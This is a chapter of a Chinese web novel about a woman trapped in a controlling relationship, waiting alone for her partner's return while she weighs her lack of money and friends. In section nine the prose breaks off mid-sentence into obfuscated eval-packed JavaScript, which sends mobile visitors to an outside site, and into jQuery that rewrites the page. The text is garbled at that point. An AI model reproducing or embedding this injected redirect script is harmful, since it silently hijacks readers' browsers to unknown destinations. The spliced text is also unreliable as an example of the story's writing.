第十三章无处可去
一
陈默站在客厅中央，看着那扇门。
门关着。
她站了很久。
然后她走到沙发前，坐下。
那个坑还在，但浅了一点。她坐在沙发的另一头，尽量离那个坑远一点。
手机握在手里，屏幕黑着。
她盯着那团黑，脑子里反复响着一个问题：
跑，还是不跑？
她站起来，走到窗边，拉开窗帘。
外面是城市的早晨，太阳刚升起来，把对面楼的玻璃窗照成金色。有人在阳台上晾衣服，有小孩背着书包去上学，有老人在小区里散步。
很正常的世界。
她看着那些人，看了很久。
然后她转身，看着这个家。
沙发上的坑，茶几上的灰，空气里那股淡淡的、油油的、腻腻的味道。
她在这个家里住了三年。
三年。
她想起刚搬来那天。那时候她二十五岁，拖着行李箱站在门口，王志强帮她开门，笑着说“以后这儿就是你家”。
那时候她觉得，终于有地方去了。
妈妈不要她了，她还有他。
现在呢？
她还有谁？
她掏出手机，打开通讯录。
从上往下翻。
第一个是“妈妈”。最后一条消息两个月前，她没回。
第二个是“爸爸”。爸爸很少发消息，偶尔发也是转发的养生文章。
第三个是“周行长”。工作关系。
第四个是“老张”。同事。
第五个是“王志强”。
再往下翻，还有几十个名字。但那些名字，她已经很久没联系过了。有的甚至想不起来是谁。
她盯着那些名字，盯了很久。
然后把手机放下。
她能去哪儿？
回妈妈那儿？
妈妈说了，当她死了。
她能想象那个画面——她拖着行李箱站在门口，妈妈开门，看见她，脸上什么表情都没有。然后妈妈说：“回来了？还知道回来？”
她能承受那个吗？
她不知道。
去朋友那儿？
她没有朋友了。
三年了，王志强不喜欢她和以前的朋友来往。一开始是“那个谁谁谁不行，别跟她玩了”，后来是“你那些朋友有什么用，能帮你什么”，再后来她就不联系了。
最后一次联系，是去年春节。她给一个老同学发微信拜年，对方回了四个字：“新年快乐。”
然后就没了。
她有什么资格去找人家？
住酒店？
她算过存款。不到两万块。住快捷酒店，一天两百，一个月就是六千。不到三个月，她就得睡大街。
租房？
押一付三，最少也要七八千。租完就剩一万多，然后呢？吃饭呢？交通呢？她那份工资，够干什么？
她算过无数次了。
每一次算完，答案都一样。
没地方去。
二
陈默在窗边站了很久。
然后她放下窗帘，走回沙发，坐下。
手机又亮了。
工作群的消息。
她点开看了一眼。
周行长在@所有人：今天外拓，九点集合，不得请假。
她盯着那行字，看了几秒。
外拓。
商场门口，站六个小时，发传单，拉人办信用卡。
她以前最讨厌这个。
但现在看着，突然觉得有点亲切。
至少那是正常的。
至少那些事是她会的。
她站起来，走进卫生间，洗漱，换衣服，化妆。
镜子里的自己，还是那个人。
眼袋，痘，灰白的脸色。
但她今天没时间多看。
她得去上班。
三
外拓站在商场门口，太阳很大。
陈默穿着行服，站在太阳底下，手里拿着一沓传单。路过的人，她递一张，说一句“办信用卡吗”，大多数人不接，直接走过去。
她就这样站着，站了三个小时。
脚已经肿了，小腿酸疼。后背的汗把衬衫浸湿了，黏黏的贴着肉。
但她没动。
就这么站着。
老张在旁边抽烟，看她一眼。
“陈默，你休息会儿，我来发。”
陈默摇摇头。
“没事。”
老张没再说什么。
又站了一个小时。
中午休息的时候，陈默坐在商场门口的花坛边，吃着盒饭。
盒饭是统一订的，两荤一素，味道一般。但她吃着，觉得还行。
至少是热的。
至少是人吃的。
老张坐过来，跟她并排坐着。
“陈默，你最近是不是有什么事？”
陈默愣了一下。
“什么？”
“我看你最近状态不对。”老张看着她，“脸色也不好，话也少了。是不是家里出什么事了？”
陈默低下头，继续吃饭。
“没有。”
老张看了她一会儿，没再问。
吃完饭，下午继续站。
站到五点半，收工。
陈默坐地铁回家。
站在家门口的时候，她又停住了。
深吸一口气，掏出钥匙，开门。
屋里没人。
王志强还没回来。
她换了鞋，放下包，坐在沙发上。
盯着那个坑。
那个坑，又浅了一点。
她不知道这意味着什么。
但她知道，他没回来是好事。
至少今晚，她可以一个人睡。
四
一天，两天，三天。
王志强一直没回来。
陈默每天上班，下班，回家，睡觉。生活突然变得很简单。
没有砸门声，没有骂人声，没有那个呼吸声。
没有那只凉的手摸她的脸。
没有那两只发光的眼睛盯着她。
只有她一个人。
一开始她不习惯。总是忍不住回头，总觉得背后有人。晚上睡觉的时候，卧室门必须开着，不然会害怕。半夜醒来好几次，竖起耳朵听动静。
但慢慢的，她开始适应了。
一个人的生活。
上班，下班，吃饭，睡觉。
不用看谁的脸色，不用听谁骂人，不用给谁倒洗脚水。
她甚至开始享受这种感觉。
第四天晚上，她做了顿饭。
简单的西红柿炒蛋，加一个紫菜汤。她坐在饭桌前，一个人吃。
吃着吃着，眼泪掉下来了。
不是难过。
是不知道为什么。
就是突然想哭。
她放下筷子，坐在那儿，哭了很久。
哭完，擦干眼泪，继续吃饭。
吃完饭，洗碗，洗澡，睡觉。
一夜无梦。
五
第五天，第六天，第七天。
王志强还是没回来。
也没有任何消息。
手机上一句话都没有。
陈默有时候会拿起手机，看着他的对话框。最后一条消息还是那天他发的：“我晚上不回来了。”
她盯着那行字，盯很久。
然后放下手机。
她想给他发消息吗？
不想。
她害怕。
害怕他回消息，害怕他不回消息，害怕他回消息之后又要发生什么。
所以她不发。
就这样过。
第八天晚上，陈默躺在床上，盯着天花板。
天花板还是那个天花板，灰白色，有一点光从窗帘缝里漏进来。
她盯着那点亮，突然想起一个问题。
他到底去哪儿了？
出差？
出什么差？
去多久？
为什么不发消息？
她不知道。
但她开始想了。
第九天，第十天。
她开始越来越频繁地看手机。
看他的对话框。
看有没有新消息。
没有。
一直没有。
第十一天晚上，她躺在床上，翻来覆去睡不着。
脑子里全是问题。
他去哪儿了？
他还会回来吗？
他是不是不要她了？
这个念头一冒出来，她吓了一跳。
她居然在担心他不要她？
她不是应该希望他永远别回来吗？
她不是应该趁这个机会跑吗？
但她没跑。
她还在这个家里。
每天上班，下班，吃饭，睡觉。
等着他回来。
她为什么等他？
她不知道。
但她就是睡不着。
六
第十二天晚上，陈默终于忍不住了。
她拿起手机，打开王志强的对话框。
打了一行字：
“你什么时候回来？”
盯着看。
删掉。
又打：
“在吗？”
删掉。
又打：
“你还好吗？”
删掉。
她盯着那个空白的对话框，盯了很久。
然后她按下了通话键。
嘟——嘟——嘟——
每一声，都像砸在她心上。
接了。
“喂？”
那个声音。
和平时一样，又不一样。隔着电话，听不出什么异常。
陈默张了张嘴。
“你……在哪儿？”
那边顿了一下。
“出差。怎么了？”
出差。
真的出差。
“哦。”她说，“没事，就是问问。”
那边又顿了一下。
“嗯。过几天回去。”
挂了。
陈默举着手机，听着忙音。
忙音响了很久。
她把手机放下，躺在床上，盯着天花板。
出差。
过几天回来。
就是这样。
她不知道自己是松了一口气，还是更害怕了。
七
第十三天，第十四天，第十五天。
陈默继续过着一个人的生活。
上班，下班，吃饭，睡觉。
那个坑越来越浅了。现在已经看不出来了，只有仔细看，才能看出那一块稍微有点塌。
空气里的味道也淡了。要凑近了闻，才能闻到一点点。
床上的那个人形印子，也浅了很多。
这个家，正在慢慢变回正常。
就像他从来没存在过。
陈默有时候会想，如果他一直不回来，是不是就这样了？
她就这么一个人过下去。
上班，下班，吃饭，睡觉。
一个人。
没有砸门声，没有骂人声，没有那只凉的手。
挺好的。
但她也知道，他会回来的。
他说过几天回来。
过几天是几天？
她不知道。
她只知道，在他说“过几天”之后，已经又过了三天。
他还是没回来。
八
第十六天晚上，陈默坐在沙发上，看着电视。
电视开着，放什么综艺节目，罐头笑声一阵一阵的。
她盯着屏幕，什么都没看进去。
脑子里在想一件事。
如果他就这样不回来了，她会怎么样？
继续上班，下班，吃饭，睡觉。
一个人住在这个房子里。
房租谁交？他交的。水电费谁交？他交的。这个房子是他的，不是她的。
如果他不回来，这些费用怎么办？
她交得起吗？
她算过，房租至少三千五，水电燃气加起来三四百，加上吃饭交通，一个月下来，她工资刚够，一分不剩。
但那是如果她不付房租的情况下。
如果她开始付房租，每个月至少多出三千五的开销。
她付不起。
除非她换房子，换个小点的，便宜点的。
但那也要钱。
押一付三，至少七八千。
她拿不出来。
而且，如果他回来了呢？
如果他回来了，发现她搬走了，会怎样？
她不敢想。
所以她就这么住着。
等着他回来。
或者等着他不回来。
她不知道哪个更可怕。
九
第十七天晚上，陈默躺在床上，盯着天花板。
脑子里又开始想那些问题。
从小到大，她好像一直在等。
等妈妈下班，等爸爸回家，等考试结果，等录取通知书，等工作机会，等王志强回来。
等，等，等。
永远是等。
永远是被动的那个。
小时候，妈妈说“你要听话”，她就听话。老师说“你要好好学习”，她就好好学习
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387625|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。工作了，领导说“你要努力”，她就努力。王志强说“你要懂事”，她就懂事。
她听话了二十八年。
听话的结果是什么？
妈妈不要她了。
王志强……
她不知道。
但她知道，她从来没想过，可以不听话。
可以跑。
可以去一个没人认识的地方，重新开始。
但这个念头一冒出来，就被另一个念头压下去了。
去哪？
钱呢？
工作呢？
一个人，能活吗？
她不知道。
从小到大学会的那些东西，从来没教过她这些。
她们只教她，要听话，要懂事，要忍耐。
忍耐下去，一切都会好的。
真的会好吗？
她看着天花板。
天花板是灰白色的。
和二十年前她老家那个天花板，一样的灰白色。
她盯着那片灰白，突然想起小时候。
那时候她七八岁，躺在床上睡不着，盯着天花板。她妈在外面打电话，声音很大，是在跟谁吵架。她爸坐在客厅里抽烟，不说话。
她躺在那儿，想：等我长大了，一定要离开这里。
后来她长大了。
她离开家了。
但她只是换了一个天花板。
还是灰白色的。
还是一个人躺着。
还是等。
十
第十八天早上，陈默醒来的时候，发现枕头湿了一片。
她不知道自己什么时候哭的。
也许做梦了，也许没有。
她坐起来，擦干脸，去洗漱。
镜子里的自己，眼袋没那么重了。痘也消了一点。脸色还是不好，但比之前强。
她盯着镜子里的自己，看了很久。
然后她洗脸，刷牙，化妆，换衣服，上班。
地铁上人很多，她被挤在中间，动弹不得。
旁边有两个女孩在聊天，声音很大。
“我跟你说，我受不了了，我要分手。”
“为什么？”
“他太烦了，天天管我，我都快窒息了。”
“那就分啊。”
“可是……我们在一起三年了。”
陈默听着，突然想笑。
三年。
又是三年。
她转过头，看着那两个女孩。
二十出头，脸上满满的都是胶原蛋白，眼睛亮亮的，带着那种年轻人特有的天真。
她们不知道三年意味着什么。
她们不知道三年可以把一个人磨成什么样。
她们不知道三年之后，她们可能也会变成她这样。
她收回目光，盯着车窗。
车窗上映出她的脸，模模糊糊的。
那张脸，没有表情。
十一
晚上回到家，陈默做了饭。
还是简单的西红柿炒蛋，加一个紫菜汤。
她一个人吃。
吃着吃着，手机响了。
她拿起来看。
王志强的名字在屏幕上亮着。
她盯着那两个字，看了三秒。
然后接起来。
“喂？”
“明天回去。”
就四个字。
然后挂了。
陈默举着手机，听着忙音。
忙音响了很久。
她把手机放下，继续吃饭。
但饭已经凉了。
她夹了一筷子，放进嘴里。
什么味道都没有。
她嚼着，咽下去。
又夹了一筷子。
还是什么味道都没有。
她放下筷子，坐在那儿，盯着那盘菜。
明天回去。
他明天回来。
她等了十八天。
等他回来。
他真的回来了。
她应该高兴吗？
还是害怕？
她不知道。
她只知道，从明天开始，那个味道会回来。
那个坑会变深。
那只凉的手会再摸她的脸。
那两只发光的眼睛会再在黑暗里盯着她。
她又要开始数三十秒了。
她坐着，坐了很久。
然后她站起来，把碗收了，洗了，放好。
走进卧室，躺下。
盯着天花板。
天花板还是灰白色的。
和十八天前一模一样。
她盯着那片灰白，一直盯到天亮。
十二
早上七点，陈默醒了。
她不知道自己什么时候睡着的。
她坐起来，去洗漱，换衣服，化妆。
镜子里的自己，又变回原来的样子。
眼袋，痘，灰白的脸色。
她盯着那张脸，看了很久。
然后她拿起包，出门。
走到门口的时候，她停了一下。
回头看了一眼这个家。
沙发上的坑，又变深了一点。
只是一点，但她看见了。
空气里，又有了那股淡淡的味道。
油油的，腻腻的。
她站在那儿，看着那个坑，闻着那个味道。
然后她推开门，走出去。
门在身后关上。
她站在走廊里，等电梯。
电梯上来，门打开。
她走进去。
电梯下行的时候，她靠着电梯壁，闭着眼。
脑子里只有一个念头。
他会回来的。
他就在回来的路上。
而她，无处可去。
所以就这样吧。
就这样过下去。
反正从小到大，她学会的就是这个。
忍耐。
接受。
不反抗。
她睁开眼，看着电梯门上自己的倒影。
那个倒影，也在看她。
她看着那个自己，突然想起小时候。
七八岁，躺在床上，盯着天花板，想：等我长大了，一定要离开这里。
她长大了。
她没有离开。
她只是换了一个天花板。
还是灰白色的。
还是一个人。
还是在等。
电梯门开了。
她走出去，走进人群，走进阳光里。
新的一天开始了。
和昨天一样。
和明天一样。
和以后每一天一样。
---
第十三章完